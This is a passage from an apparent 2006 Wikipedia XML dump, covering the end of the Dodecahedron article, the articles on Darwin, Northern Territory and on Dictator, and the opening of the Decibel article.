*# [http://www.georgehart.com/virtual-polyhedra/vrml/pentagonal_cupola_(J5).wrl Pentagonal cupola] regular faces
* [http://mathworld.wolfram.com/ElongatedDodecahedron.html Elongated Dodecahedron]

[[Category:Platonic solids]]
[[Category:Polyhedra]]

&lt;!----&gt;

[[ca:Dodecàedre]]
[[da:Dodekaeder]]
[[de:Dodekaeder]]
[[es:Dodecaedro]]
[[fr:Dodécaèdre]]
[[ko:정십이면체]]
[[it:Dodecaedro]]
[[he:דודקהדרון]]
[[nl:Dodecaëder]]
[[ja:正十二面体]]
[[pl:Dwunastościan foremny]]
[[pt:Dodecaedro]]
[[ru:Додекаэдр]]
[[fi:Dodekaedri]]
[[sv:Dodekaeder]]
[[zh:正十二面體]]</text>
    </revision>
  </page>
  <page>
    <title>Darwin, Northern Territory</title>
    <id>8408</id>
    <revision>
      <id>41743496</id>
      <timestamp>2006-03-01T12:36:35Z</timestamp>
      <contributor>
        <ip>203.173.9.107</ip>
      </contributor>
      <comment>/* Culture */</comment>
      <text xml:space="preserve">{{Infobox Australian City|
name = Darwin |
image_map = Darwin locator-MJC.png |
name = Darwin |
latd=12|latm=27|latNS=S|longd=130|longm=50|longEW=E|
jurisdiction = [[Northern Territory]] |
area = 112.01 |
time_zone= [[UTC9:30|ACST]] |
utc_offset= +9:30 |
time_zone_DST= ''not observed'' |
utc_offset_DST= |
population_estimate_year = 2004 |
population_estimate = 109,478 |
population_estimate_rank = 17th |
population_density = 35.1 |
}}
'''Darwin''' is the [[List of Australian capital cities|territorial capital]] and most populous city of the [[Northern Territory]]. It is a city of 109,478 (est. June 2004) people on [[Australia|Australia's]] far north-western [[coastline]]. Darwin has a [[tropical]] [[climate]], and is subjected to tropical [[thunderstorm]]s and [[cyclone]]s; the first recorded cyclone to hit Darwin was the [[1867 cyclone]], and much of the city was destroyed by [[Cyclone Tracy]] in [[1974]]. It is also the only Australian capital city to have come under substantial attack during any war: on [[February 19]], [[1942]], Japanese planes made [[Air raids on Darwin, February 19, 1942|two major air raids]] on Darwin, the first of 63 air attacks experienced by the city during [[World War II]].
&lt;!--Darwin is also reputed to suffer more [[lightning]]-strikes than any other inhabited place in the world.(needs ref)--&gt;

Darwin has the largest proportional population of [[Australian Aborigine|Indigenous Australian]]s of any Australian [[capital city]], and a significant percentage of its residents are recent [[immigrant]]s from [[South Asia|South]] and [[East Asia]]. As such, Darwin is often called the &quot;multicultural capital of Australia&quot;. Due to its proximity to [[Asia]], Darwin is an important [[port]], particularly for the [[live export]] of [[domestic sheep|sheep]] and [[cattle]], and of [[mineral]]s. It is also the site of a large [[Australian Army]] base and a naval facility supporting patrol boat activity off Australia's northern coastline.

==History==
{{main|History of Darwin}}
[[Image:Darwin Palmerstone Town Hall DSC03578.jpg|right|thumb|200px|Palmerston Town Hall]]
Darwin's harbour was first sighted in [[1839]] by [[John Lort Stokes]] of [[HMS Beagle|HMS ''Beagle'']]. The ship's captain, [[John Clements Wickham]], named the port after [[Charles Darwin]], the British naturalist, who had sailed with him on an earlier [[the Voyage of the Beagle|expedition of ''Beagle'']].

The Northern Territory was initially settled and administered by [[South Australia]], until its transfer to the [[Australia|Commonwealth]] in [[1911]]. On [[5 February]] [[1869]], [[George Goyder]], the Surveyor-General of South Australia, established a small settlement of 135 men and women at [[Port Darwin]]. Goyder named the settlement [[Palmerston, Northern Territory|Palmerston]], after the [[Prime Minister of the United Kingdom|British Prime Minister]] [[Henry Temple, 3rd Viscount Palmerston|Lord Palmerston]]. In [[1870]], the first poles for the [[Overland Telegraph]] were erected in Darwin connecting Australia to the rest of the World. The discovery of gold at [[Pine Creek, Northern Territory|Pine Creek]] in the [[1880s]] further boosted the young colony's development. Upon Commonwealth administration in 1911, Darwin became the city's official name.

On [[19 February]] [[1942]], during the [[Pacific War]], 242 [[Empire of Japan|Japanese]] warplanes attacked Darwin in two waves. It was the same fleet that had bombed Pearl Harbour, though a considerably larger number of bombs were dropped on Darwin, than on Pearl Harbour. This aspect of Darwin's history is often overlooked when discussing [[World War II]]. The attack killed at least 243 people and caused immense damage to the town. These were by far the most serious attacks on Australia in time of war, in terms of fatalities and damage. They were the first of many raids on Darwin.

On [[Australia Day]] , [[26 January]], [[1959]], Darwin was granted city status.[http://www.australiadaynt.com.au/fun/quiz/quiz2004.html]

&lt;!-- The statement about Sydney and Newcastle was wrong; there were about 100 air raids, including one on Broome which killed more than 80 people. --&gt;
Darwin was largely destroyed on [[25 December]] [[1974]] by [[Cyclone Tracy]], which killed 50 people and destroyed over 70% of the town's buildings, including many old stone buildings such as the Palmerston Town Hall, which could not withstand the lateral forces generated by the strong winds. After the disaster, an airlift evacuated 30,000 people. The town was subsequently rebuilt with newer materials and techniques during the late [[1970s]] by the Darwin Reconstruction Commission. A satellite city of [[Palmerston, Northern Territory|Palmerston]] was built 20 km south of Darwin in the early [[1980s]].

On [[17 September]] [[2003]], the [[Adelaide-Darwin Railway]] was completed.

==Geography and climate==
Darwin is situated in the Northern Territory, on the coast of the [[Timor Sea]] at [[geographic coordinates]] {{coor dm|12|27|S|130|50|E|region:AU-NT_type:city(109,419)}}.

Darwin is closer to the capitals of three other countries than to the capital of Australia: Darwin is 3144 km away from [[Canberra]]. [[Dili]] ([[East Timor]]) is 656 km from Darwin, [[Port Moresby]] ([[Papua New Guinea]]) is 1818 km, and [[Jakarta]] ([[Indonesia]]) is 2735 km from Darwin. Even [[Singapore]] is only slightly further away at 3360 km, and so is [[Manila]] ([[Philippines]]) at 3206 km.

Darwin has a [[Tropics|tropical]] climate with distinct wet and dry seasons. The dry season runs from May to September and nearly every day is Sunny and daytime humidity is low 10-50%. In the coolest months of June and July, daily temperature range is 15 to 35&amp;deg;C. The Wet season is associated with [[tropical cyclone]]s and monsoon rains. The majority of rainfall occurs between December and March when [[thunderstorm]]s are common and humidity is regularly over 70 per cent. It does not rain every day but most days are very hot and cloud cover is plentiful. Some of its climatic averages:

{| class=&quot;wikitable&quot; style=&quot;width: 75%; margin: 0 auto 0 auto;&quot;
|+ '''Climate Table'''
|- 
! 
! Jan
! Feb
! Mar
! Apr
! May
! Jun
! Jul
! Aug
! Sep
! Oct
! Nov
! Dec
!Year
|-
! Mean daily maximum temperature ([[Celsius|°C]])
|32.4 
|32.2 
|32.7 
|33.5 
|32.6 
|31.2 
|30.6 
|31.7 
|33.0 
|34.0 
|34.2 
|33.6 
|32.7
|-
! Mean daily minimum temperature ([[Celsius|°C]])
|25.2 
|25.0 
|25.0 
|24.4 
|22.6 
|20.8 
|19.8 
|20.9 
|23.3 
|25.1 
|25.5 
|25.6 
|23.6
|-
! Mean total rainfall ([[Millimetre|mm]])
|393.2 
|329.7 
|258.3 
|102.6 
|14.3 
|3.0 
|1.3 
|1.6 
|12.8 
|52.1 
|124.0 
|241.8 
|1534.7
|-
! Mean number of rain days
|18.5 
|17.8 
|16.1 
|7.3 
|1.4 
|0.6 
|0.2 
|0.3 
|1.7 
|5.0 
|10.0 
|14.5 
|93.3
|- 
| colspan=&quot;15&quot; style=&quot;text-align: center;&quot; | &lt;small&gt;'''Source:''' [http://www.bom.gov.au/climate/averages/tables/cw_014016.shtml Bureau of Meteorology]&lt;/small&gt;
|}

==Government==
[[Image:Darwin Legislative Assembly DSC03592.jpg|170px|thumb|Legislative Assembly of the Northern Territory]]
Darwin has been administered by the Darwin City Council since  [[1957]]. The Darwin City Council consists of the [[Lord Mayor]] and 12 [[aldermen]], 3 from each of the four electoral wards, Chan, Lyons, Richardson, and Waters. The current Lord Mayor is [[Peter Adamson (Australian politician)|Peter Adamson]].

The [[Northern Territory Legislative Assembly|Legislative Assembly of the Northern Territory]] convenes in Darwin in a spectacular, colonial-inspired building.

==Economy==
[[Image:Darwin_CBD-2005.jpg|left|thumb|250px|Darwin CBD ([[Central Business District]]), 2005]]
The two largest economic sectors are [[mining]] and [[tourism]]. The mining and energy industry production exceeds $2.8 billion per annum. The most important mineral resources are gold and [[bauxite]], along with [[manganese]] and many others. The energy production is mostly off shore with oil and [[natural gas]] from the Timor Sea, although there are significant [[uranium]] deposits near Darwin. Tourism employs 8% of Darwin residents, and is expected to grow as domestic and international tourists are now spending time in Darwin during the [[wet season|Wet]] and [[dry season|Dry]] seasons. Federal spending is a major contributor to the local economy as well. 

A good example of this is the significant military presence that that is maintained both within Darwin, and the wider Northern Territory. This is both a substantial source of employment and an avenue for federal investment of infrastructure. The continued involvement of [[Australian Army]] in the stabilisation of [[East Timor]] has swelled the military population of Darwin to over 11,000 individual as of [[2001]].  There is also a substantial United Nations' presence in Darwin since Darwin serves as the staging center for U.N. workers and contractors en route to nearby East Timor. 

Darwin's importance as a port is forecasted to grow in the future, due in part to the increased exploitation of [[petroleum]] in the nearby [[Timor Sea]], to the completion of the railway link and continued expansion of trade with Asia.

During 2005, a number of major construction projects broke soil in Darwin. One is the redevelopment of the Wharf Precinct which includes a large convention and exhibition centre, apartment housing, retail and entertainment outlets including a large wave pool and safe swimming lagoon. The Chinatown project has also broken soil with plans to construct multi-level carparks, Chinese-themed retail and dining outlets.
&lt;!--==Demographics==--&gt;

==Education==
As of the [[2001]] census, there were 6,441 students attending primary schools within the area covered by the Darwin City Council. There were also 3,943 students engaged in secondary education; 2,825 in government schools and 1,118 in independent schools. There are currently 35 primary and pre-schools, and 12 secondary schools (including both government and non-government). Most schools in the city are secular, but there are a small number of [[Christianity|Christian]], [[Catholicism|Catholic]] and [[Lutheranism|Lutheran]] institutions. Students intending to complete their secondary education work towards the [[Northern Territory Certificate of Education]], which is recognised in all states and territories. Currently a lot of the schools are undergoing much-needed renovations and reconstruction.

The central provider of tertiary education in the Northern Territory is [[Charles Darwin University]]. It covers both vocational and academic courses, acting as both a university and an Institute of [[Technical and Further Education|TAFE]]. While it has a number of campuses across the Northern Territory, its primary campus, where a large portion of the university's 19,000 students attend, is located in the Darwin suburb of [[Casuarina, Northern Territory|Casuarina]].

==Culture==
[[Image:DarwinStreet.jpeg|thumb|250px|Central Darwin, circa 1986]]
Darwin is known as the &quot;Gateway to Asia&quot;, and the city's population is very [[multiculturalism|multicultural]]. Seventy-five nationalities are represented in Darwin, and nearly a quarter of the population self-identifies as [[Australian Aborigine|Aboriginal]] or [[Torres Strait Islander]]. Darwin's Mitchell Street is lined with nightclubs, takeaways, and restaurants, many with al fresco-style dining.

The [[Darwin Festival]][http://www.darwinfestival.org.au/] held annually includes comedy, dance, theatre, music, film and visual art and the [[NT Indigenous Music Awards]].

The Beer Can [[Regatta]][http://whatsonwhen.com/events/~99620.jml], held in August, celebrates Darwin's love affair with [[beer]] and contestants race boats made exclusively of beer cans. Also in Darwin during the month of August, are the Darwin Cup horse race, and the [[Rodeo]] and [[Mud crab|Mud Crab]] Tying Competition.

In the past Darwin enjoyed a reputation as an unsophisticated hard-drinking town, backed-up by some of the highest per-capita alcohol consumption rates in Australia.  These days with a less transient population, Darwin is better known for it's asian influenced cuisine and as an adventure tourism destination.

Darwin is also home to Indo-Pacific Marine &amp; Australian [[pearl|Pearling]] Exhibition which houses an [[aquarium]] complete with living [[coral]], and its complementary sea life.

The Museum of the Northern Territory in Darwin gives an excellent overview of the history of the area, including exhibits on Cyclone Tracy and the boats of the Pacific Islands.

The Darwin Free Beach has nude sunbathing.

===Media===
Darwin has only two commercial television channels, [[Southern Cross Broadcasting|Southern Cross Darwin]] and the [[Nine Network]], with the possibility of [[Network Ten]] coming from mid-2005, it has been confirmed that the two Commercial broadcasters (Southern Cross and Channel Nine) are now eligible to apply for the new TV licence. [[Special Broadcasting Service|SBS]] and the [[Australian Broadcasting Corporation|ABC]] broadcast in Darwin as well. Darwin has two commercial radio stations, [http://www.hot100fm.com.au Hot 100] and [http://www.mix1049.com.au Mix 104.9] along with other stations, including a uni-based [[TerritoryFM 104.1]] that is relayed throughout the Territory, dance music station [http://www.kikfm.com.au KIK FM], and ABC Radio.

Darwin has several newspapers.  ''[[Northern Territory News]]'', produced by [[News Corporation]] is the only daily news paper in Darwin.  Community Newspaper, The Darwin and Palmerston Sun, The Territory Times, ''[[The Southeast Asian Times]]'' and the ''[[Top End Review]]'' are produced weekly.

===Sports===
Every two years since [[1991]], (excluding [[2003]] due to the [[SARS]] outbreak), Darwin has played host to the [[Arafura Games]], a major regional [[Sport|sporting event]].
In July [[2003]] and [[2004]], Darwin had the first [[cricket]] match as part of the 3 Mobile cricket tour. [[Australian Rules Football]] and [[Rugby league]] are played all year round.  [[Melbourne]]'s [[Western Bulldogs]] [[Australian Football League]] side plays several 'home' games at [[Marrara Oval]] each year.  The ATSIC [[Aboriginal All-Stars]] also participate in the [[Australian Football League|AFL]] pre-season competition.  In 2003, a record crowd of 17,500 attended a pre-season game between the All-Stars and [[Carlton Football Club]] at [[Mararra Stadium]].

One of the major events that occurs in Darwin is the [[V8 Supercars]]. This event attracts thousands of locals, interstaters and international tourists. This event occurs in the mid year period and lasts 3 days.

Darwin also has a horse racing cup carnival that starts in the last week of June and goes through to August. While it isn't as popular as the [[Melbourne Cup]], it does draw a crowd and in [[2003]], [[Sky Racing]] began televising most of the races.

==Sister cities==
{|
| valign=&quot;top&quot; |
*{{flagicon|Greece}} - [[Kalymnos]], [[Greece]]
*{{flagicon|USA}} - [[Anchorage, Alaska]], [[United States]]
*{{flagicon|Indonesia}} - [[Ambon City|Ambon]], [[Indonesia]]
*{{flagicon|People's Republic of China}} - [[Haikou]], [[China]]
| valign=&quot;top&quot; |
*{{flagicon|Australia}} - [[Milikapiti]], [[Tiwi Islands]]
*{{flagicon|East Timor}} - [[Dili]], [[East Timor]]
*{{flagicon|USA}} - [[Honolulu, Hawaii]], [[United States]]
|}

==External links==
*[http://www.abs.gov.au/Ausstats/abs@census.nsf/4079a1bbd2a04b80ca256b9d00208f92/e98d5018d0218f32ca256bbf0001c120!OpenDocument Darwin] at the [[Australian Bureau of Statistics]] (2001 Census).
*[http://www.darcity.nt.gov.au/ Darwin City Council]
*[http://www.darcity.nt.gov.au/Publications/welcome%20to%20darwin%202003.pdf &quot;''About Darwin''&quot; (.pdf file)]
*[http://www.nt.gov.au/ Northern Territory Government Portal]
*[http://www.darwinfestival.org.au/ Darwin Festival]

{{AustralianCapitalCities}}


[[Category:Australian capital cities]]
[[Category:Cities in the Northern Territory]]
[[Category:Coastal cities in Australia]]
[[Category:Darwin|*]]
[[Category:Local Government Areas of the Northern Territory]]

[[da:Darwin (Australien)]]
[[de:Darwin (Stadt)]]
[[eo:Darwin (Aŭstralio)]]
[[fr:Darwin (Australie)]]
[[he:דרווין (הטריטוריה הצפונית)]]
[[is:Darwin]]
[[ja:ダーウィン (オーストラリア)]]
[[nl:Darwin (Australië)]]
[[pl:Darwin]]
[[pt:Darwin (Austrália)]]
[[sv:Darwin]]
[[zh:达尔文港]]</text>
    </revision>
  </page>
  <page>
    <title>Dictator</title>
    <id>8409</id>
    <revision>
      <id>41138994</id>
      <timestamp>2006-02-25T07:44:20Z</timestamp>
      <contributor>
        <username>Fabricationary</username>
        <id>289480</id>
      </contributor>
      <comment>rv mention of US as dictatorship - unverifiable, certainly not NPOV</comment>
      <text xml:space="preserve">{{merge to|Dictatorship}}

In modern usage, '''''dictator''''' refers to an [[political absolutism|absolutist]] or [[autocratic]] ruler who governs outside the normal constitutional [[rule of law]] through a continuous [[state of exception]]. However unlike the original Roman dictators, modern dictators do not give themselves the title &quot;dictator&quot;; it is generally used by their opponents as a term of abuse for totalitarian rule, just like [[despot]] and [[tyrant]] (also unlike their counterparts in antiquity). However, in several modern republican states, the title has been used officially, usually as an &quot;extraordinary&quot; officer, e.g. revolutionary or to cope with a grave national emergency, generally combing the capacities of [[head of state]] (formal highest rank and  supreme command) and [[head of government]] (day to day political power).

Dictators often acquire power in a [[coup d'état]], or by suspending the existing [[constitution]]. Ordinarily democratic nations may temporarily give dictatorial power to leaders during a [[state of emergency]]. The term is normally not applied to [[absolute monarch]]s although they generally have the powers of a dictator.
 
States without democratic institutions are often ruled by a series of dictators, taking power from each other in [[coup]]s or [[civil war]]s. Latin American and African nations have undergone many dictatorships, usually by military leaders at the head of a [[junta]]. In states with established democratic institutions, dictators frequently emerge in times of war, or during an economic or social crisis. Most notably, [[Benito Mussolini]] in [[Italy]] and [[Adolf Hitler]] in [[Germany]], gained power within the framework of democratic politics, and once in power gradually eroded constitutional restraints. In Germany this process started with Hitler's [[Reichstag Fire Decree]] of [[February 28]] [[1933]], and came near to completion with the death of [[Hindenburg]]. Under [[Joseph Stalin]], the concentration of power in the [[Communist Party of the Soviet Union|Communist Party]] in the [[Soviet Union]] developed into a personal dictatorship, denounced by [[Nikita Khrushchev|Krushchev]]'s ''[[On the Personality Cult and its Consequences]]'' [[February 25]] [[1956]] speech.

==Classical Rome==

&quot;Dictator&quot; was the title of the highest [[chief magistrate]] in [[ancient Rome]], the only one without a colleague, appointed by the [[Roman Senate|Senate]] to rule the state in times of emergency.
Roman dictators were usually experienced generals and politicians, were invested with sweeping authority over the citizens, but they were originally limited to a term of six months and lacked power over the public finances. [[Lucius Cornelius Sulla]] and [[Julius Caesar]], however, abolished these limitations and governed without these constraints. The Romans abandoned the institution of [[dictatorship]] after Caesar's murder, when Augustus quietly consolidated similar powers as [[Princeps civitatis]], imprecisely known as emperor.

In the system of [[Roman Republic]], a '''dictator rei gerendae causa''' was an extraordinary magistrate (without a colleague) temporarily granted significant power over the state during times of great threat to the state, as in a defensive war. The office was usually held for only 6 months or a military campaign.  The ideal model was [[Cincinnatus]], who according to legend, was plowing when called to dictatorship, saved Rome from invasion, and who afterwards returned to his labour, renouncing every honour and power, after only 16 days. Other famous ''dictatores'' were [[Lucius Sulla]] and [[Julius Caesar]]. See ''[[Roman dictator]]'' and compare with the Greek ''[[tyrannos]]'' and the later ''[[imperator]]''.

Besides such ruling dictators there also was a symbolic practice of very short senatorial mandate for a religious act considered to sacred to performed by any lesser magistrate

==Modern use in formal titles==
===Dictator (plain)===
*in [[Italy]]:
**in the former doge-state [[Venice]], while a republic resisting annexation either the kingdom of Piemont-Sardinia or the Austrian empire, a former Chief Executive (president, [[23 March]] - [[5 July]] [[1848]]), Daniele Manin (b. 1804 - d. 1857), was styled Dictator 11-[[13 August]] [[1848]] before joining the [[13 August]] [[1848]] - [[7 March]] [[1849]]  Triumvirate 
**prodittatori *
*in [[Peru]]: the [[17 February]] [[1824]] - [[28 January]] [[1827]] president, general Simón José de la Santísima Trinidad Bolívar y Palacios (b. 1783 - d. 1830) was acting Dictator to [[10 February]] [[1825]], then Liberator to [[9 December]] [[1826]], then President-for-Life 
*in the [[Philippines]], the last President of the Supreme Government Council [[23 March]] [[1897]] - [[16 December]] [[1897]], Emilio Aguinaldo y Famy (b. 1869 - d. 1964), was styled Dictator [[12 June]] [[1898]] - [[23 January]] [[1899]] (he was also chairman Revolutionary Government from [[23 June]] to [[1 November]] [[1897]]), next was the first of two Presidents [[23 January]] [[1899]] - [[1 April]] [[1901]] 
* in [[Poland]]:
** Józef Grzegorz Chlopicki (b. 1771 - d. 1854) was Dictator twice: [[5 December]] [[1830]] - December 1830 and December 1830 - [[25 January]] [[1831]] 
** [[24 February]] [[1846]] - [[2 March]] [[1846]], Jan Józef Tyssowski (b. 1811 - d. 1857) was styled ''Dictator of the Polish Republic'', also in the [[Cracow republic]] 
** [[22 January]] [[1863]] - [[10 March]] [[1863]] Ludwik Adam Mieroslawski (b. 1814 - d. 1878) was styled dictator and commander-in-chief of the Polish Insurrection (in exile to 17 Februry 1863) and was joint President of the National Government, together with the chairman Executive Commission of the Central National Committee acting as Provisional National Government
**[[10 March]] [[1863]] - [[19 March]] [[1863]] Marian Antoni Melchior Langiewicz (b. 1827 - d. 1887) styled Dictator
**[[19 March]] [[1863]] - [[20 March]] [[1863]] ''Executive Dictatorial Commission'' of three members
**[[17 October]] [[1863]] - [[10 April]] [[1864]]  Romuald Traugutt (b. 1826 - d. 1864) is Head of the National Government, also styled Dictator
*in [[Russia]], during the Civil War:
** from [[11 February]] [[1918]] to [[25 February]] [[1918]] (when Bolchevik troops ended their existence), Nazarov was dictator of of the [[Don Cossack Republics]], which before, since its founding on [[2 December]] [[1917]] at Novocherkassk, had been governed by a [[Triumvirate]] including the last pre-soviet [[Ataman]], Aleksei Maksimovich Kaledin 
**May 1919 - November 1918 Prince N. Tarkovsky was Dictator of the [[Republic of the Mountain Peoples the Northern Caucasus and Daghestan]], since its founding in Western Daghestan on [[11 May]] [[1918]] till the end of the Turkish occupation (September-November 1918).

===Compound titles===
*'''Dictator President''', twice in modern [[Colombia]]:
**in [[Antioquia Department|Antioquia]], [[30 July]] [[1813]] to 1 or [[5 March]] [[1814]]: Juan Bautista Antonio María del Corral y Alonso Carriazo; continued to [[7 April]] [[1814]] as one of the Presidents of the State ([[27 July]] [[1811]] - July 1815)  
**in [[Cartagena de Indias]] (after Presidents of the Supreme Junta of Government since [[13 August]] [[1810]], even before the [[11 November]] [[1811]] declaration of Independence as Province of Cartagena de Indias, [[21 January]] [[1812]] restyled State of Cartagena de Indias; and since [[21 January]] [[1812]] one of them, José María del Real e Hidalgo (d. 1835)), as Governor President of the State), [[1 April]] [[1812]] - [[4 October]] [[1812]]: Manuel Juan Robustiano de los Dolores Rodríguez Torices y Quiroz (b. 1788 - d. 1816)
**cfr. supra (Poland) [[19 March]] [[1863]] - [[20 March]] [[1863]] ''Executive Dictatorial Commission'' of three members *
*in [[Paraguay]], in a procession of generally short-lived juntas etcetera, the last of the [[Consul]]s of the Republic in power (2 consuls alternating in power every 4 months), [[12 June]] [[1814]] - [[3 October]] [[1814]] José Gaspar Rodríguez de Francia y Velasco (2nd time), succeeded himself as only ever '''Supreme Dictator''' [[3 October]] [[1814]] - [[20 September]] [[1840]] - from [[6 June]] [[1816]] he was styled '''Perpetual Supreme Dictator''',

==Pejorative use==
[[Image:Great_dictator_1024.jpg|right|thumbnail|[[Charlie Chaplin]] in [[The Great Dictator]] (1940), a satire of Adolf Hitler and dictatorship regimes in general.]]
In modern usage, the term &quot;dictator&quot; is generally used to describe a leader who holds an extraordinary amount of personal power, especially the power to make [[laws]] without effective restraint by a [[legislative assembly]], thus detaining ''[[auctoritas]]''. It is comparable to (but not synonymous with) the ancient concept of a [[tyrant]], although initially &quot;tyrant,&quot; like &quot;dictator,&quot; was not a negative term. A wide variety of leaders coming to power in a number of different kinds of regimes, such as [[military junta]]s, [[single-party state]]s, and civilian governments under personal rule, have been described as dictators. 

In popular usage in most of the world, &quot;[[dictatorship]]&quot; is often associated with brutality and oppression. As a result, it is often also used as a term of abuse for political opponents; [[Henry Clay]]'s dominance of the [[Congress of the United States|U.S. Congress]] as [[Speaker of the House]] and as a member of the [[United States Senate]] led to his nickname &quot;the Dictator.&quot; The term has also come to be associated with [[megalomania]]. Many dictators create a [[cult of personality]] and have come to favor increasingly grandiloquent titles and honours for themselves. For example, [[Idi Amin|Idi Amin Dada]], who had been a [[United Kingdom|British]] army [[lieutenant]] prior to [[Uganda]]'s independence from [[United Kingdom|Britain]] in October [[1962]], subsequently styled himself as &quot;His Excellency [[President for Life]] Field Marshal Al Hadji Dr. Idi Amin, VC, DSO, MC, [[King of Scotland]] Lord of All the [[Beast]]s of the [[Earth]] and [[Fish]]es of the [[Sea]] and Conqueror of the [[British Empire]] in [[Africa]] in General and Uganda in Particular.&quot;  In ''[[The Great Dictator]]'', [[Charlie Chaplin]] satirized not only [[Adolf Hitler|Hitler]] but the institution of dictatorship itself.

The association between the dictator and the military is a very common one; many dictators take great pains to emphasize their connections with the military and often wear military uniforms. In some cases, this is perfectly natural; Francisco Franco was a lieutenant general in the [[Spain|Spanish]] Army before he became [[head of state|Chief of State]] of Spain, and Noriega was officially commander of the [[Panama]]nian Defense Forces. In other cases, this is mere pretense.

==The &quot;benevolent dictator&quot;==

The [[benevolent dictator]] is a more modern version of the classical &quot;enlightened despot,&quot; being an absolute ruler who exercises his or her political power for the benefit of the people rather than exclusively for his or her own benefit. Like many political classifications, this term suffers from its inherent subjectivity. Such leaders as [[Francisco Franco|Franco]], [[Juan Manuel de Rosas|Rosas]], [[Gustavo Rojas Pinilla|Rojas Pinilla]], [[Anwar Sadat|Sadat]], [[Josip Broz Tito|Tito]], and [[Omar Torrijos]] have been characterized by their supporters as benevolent dictators.

In the Spanish language, the word ''[[dictablanda]]'' is sometimes used for a dictatorship conserving some of the liberties and mechanisms of democracy. (The pun is that, in Spanish, ''dictadura'' is &quot;dictatorship,&quot; ''dura'' is &quot;hard&quot; and ''blanda'' is &quot;soft&quot;). Some examples include [[Chile]] under [[Pinochet]], or [[Yugoslavia]] under [[Josip Broz Tito|Tito]]. This contrasts with ''[[democradura]]'' (literally &quot;hard democracy&quot;), which is defined as a full formal democracy alongside limitations on constitutional freedoms and human rights abuses, frequently within the context of a civil conflict or the existence of an insurgency. Governments in [[Argentina]], [[Bolivia]], [[Chile]], [[Colombia]], [[Ecuador]], [[El Salvador]], [[Guatemala]], [[Haiti]], [[Mexico]], [[Spain]], and [[Venezuela]] have at various times been considered &quot;democradura&quot; regimes by different critics and opposition groups, not necessarily with an academic or political consensus about the application of the term.

==Dictators in game theory==

In [[game theory]] and [[social choice]] theory, the notion of a dictator is formally defined as a person that can achieve any feasible social outcome he/she wishes. The formal definition yields an interesting distinction between two different types of dictators.

* ''The strong dictator'' has, for any social goal he/she has in mind (e.g. raise taxes, having someone killed, etc.), a definite way of achieving that goal. This can be seen as having explicit absolute power, like [[Francisco Franco|Franco]] in [[Spain]].

* ''The weak dictator'' has, for any social goal he/she has in mind, and for any political scenario, a course of action that would bring about the desired goal. For the ''weak'' dictator, it is usually not enough to &quot;give her orders&quot;, rather he/she has to manipulate the political scene appropriately. This means that the ''weak'' dictator might actually be lurking in the shadows, working within a political setup that seems to be non-dictatorial. An example of such a figure is [[Lorenzo de' Medici|Lorenzo the Magnificent]], who controlled Renaissance [[Florence]].

Note that these definitions disregard some alleged dictators, e.g. [[Benito Mussolini]], who are not interested in the actual achieving of social goals, as much as in [[propaganda]] and controlling public opinion. [[Monarch]]s and [[military rule|military dictators]] are also excluded from these definitions, because their rule relies on the consent of other political powers (the [[nobility]] or the [[army]]).

==See also==
* [[The Generals]]
* [[Dictatorship]]
* [[Führer#Equivalent Historic titles]]
* [[Führertum]]'' and ''[[Führerprinzip]]''
* [[Duce]]
* [[List of dictators]]
* [[List of Roman dictators]]
* [[Heads of state timeline]]
* [[Junta]]
* [[Military dictatorship]]
* [[Military rule]]
* [[Rule by decree]]

==Sources and References==
(incomplete)
*[http://www.worldstatesmen.org/ WorldStatesmen]

[[Category:Emergency laws]]
[[Category:Heads of government]]
[[Category:Heads of state]]
[[Category:Law]]
[[Category:Political philosophy]]
[[Category:Political science]]
[[Category:Philosophy of law]]
[[Category:Positions of authority]]
[[Category:Fascism]]

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[[he:%D7%93%D7%99%D7%A7%D7%98%D7%98%D7%95%D7%A8]]</text>
    </revision>
  </page>
  <page>
    <title>Decibel</title>
    <id>8410</id>
    <revision>
      <id>42149084</id>
      <timestamp>2006-03-04T03:33:07Z</timestamp>
      <contributor>
        <username>Omegatron</username>
        <id>18931</id>
      </contributor>
      <comment>/* Acoustics */ «&quot;Threshold of human hearing&quot; → &quot;[[Threshold of human hearing]]&quot;, +&quot; at 1 kHz&quot;»</comment>
      <text xml:space="preserve">The '''decibel''' ('''dB''') is a measure of the [[ratio]] between two quantities, and is used in a wide variety of measurements in [[acoustics]], [[physics]] and [[electronics]]. While originally only used for [[power (physics)|power]] and [[intensity]] ratios, it has come to be used more generally in [[engineering]].  The decibel is widely used as a measure of the loudness of [[sound]]. It is a &quot;[[dimensionless unit]]&quot; like [[percent]]. Decibels are useful because they allow even very large or small ratios to be represented with a conveniently small number. This is achieved by using a [[logarithm]].

== Definition ==

An [[intensity]] ''I'' or [[power (physics)|power]] ''P'' can be expressed in decibels with the standard equation

::&lt;math&gt;
I_\mathrm{dB} = 10 \log_{10} \left(\frac{I}{I_0} \right) \quad \mathrm{or} \quad P_\mathrm{dB} = 10 \log_{10} \left(\frac{P}{P_0} \right)\ ,
&lt;/math&gt;
where ''I''&lt;sub&gt;0&lt;/sub&gt; and ''P''&lt;sub&gt;0&lt;/sub&gt; are a specified reference intensity and power.

If ''P''&lt;sub&gt;dB&lt;/sub&gt; is 10&amp;nbsp;dB greater than ''P''&lt;sub&gt;dB0&lt;/sub&gt; then ''P'' is ten times ''P''&lt;sub&gt;0&lt;/sub&gt;. If ''P''&lt;sub&gt;dB&lt;/sub&gt; is 3&amp;nbsp;dB greater, the power ratio is very close to a factor of two.

For [[sound intensity]], ''I''&lt;sub&gt;0&lt;/sub&gt; is typically chosen to be 10&lt;sup&gt;−12&lt;/sup&gt;&amp;nbsp;W/m&lt;sup&gt;2&lt;/sup&gt;, which is roughly the [[threshold of hearing]]. When this choice is made, the units are said to be &quot;[[Sound intensity level|dB&amp;nbsp;SIL]]&quot;. For sound power, ''P''&lt;sub&gt;0&lt;/sub&gt; is typically chosen to be 10&lt;sup&gt;−12&lt;/sup&gt;&amp;nbsp;W, and the units are then &quot;[[Sound power level|dB&amp;nbsp;SWL]]&quot;.

In engineering, [[voltage]] ''V'' or [[pressure (physics)|pressure]] ''p'' can be expressed in decibels with the standard equation

::&lt;math&gt;
V_\mathrm{dB} = 20 \log_{10} \left (\frac{V_1}{V_0} \right ) \quad \mathrm{or} \quad p_\mathrm{dB} = 20 \log_{10} \left (\frac{p_1}{p_0} \right )\ ,
&lt;/math&gt;
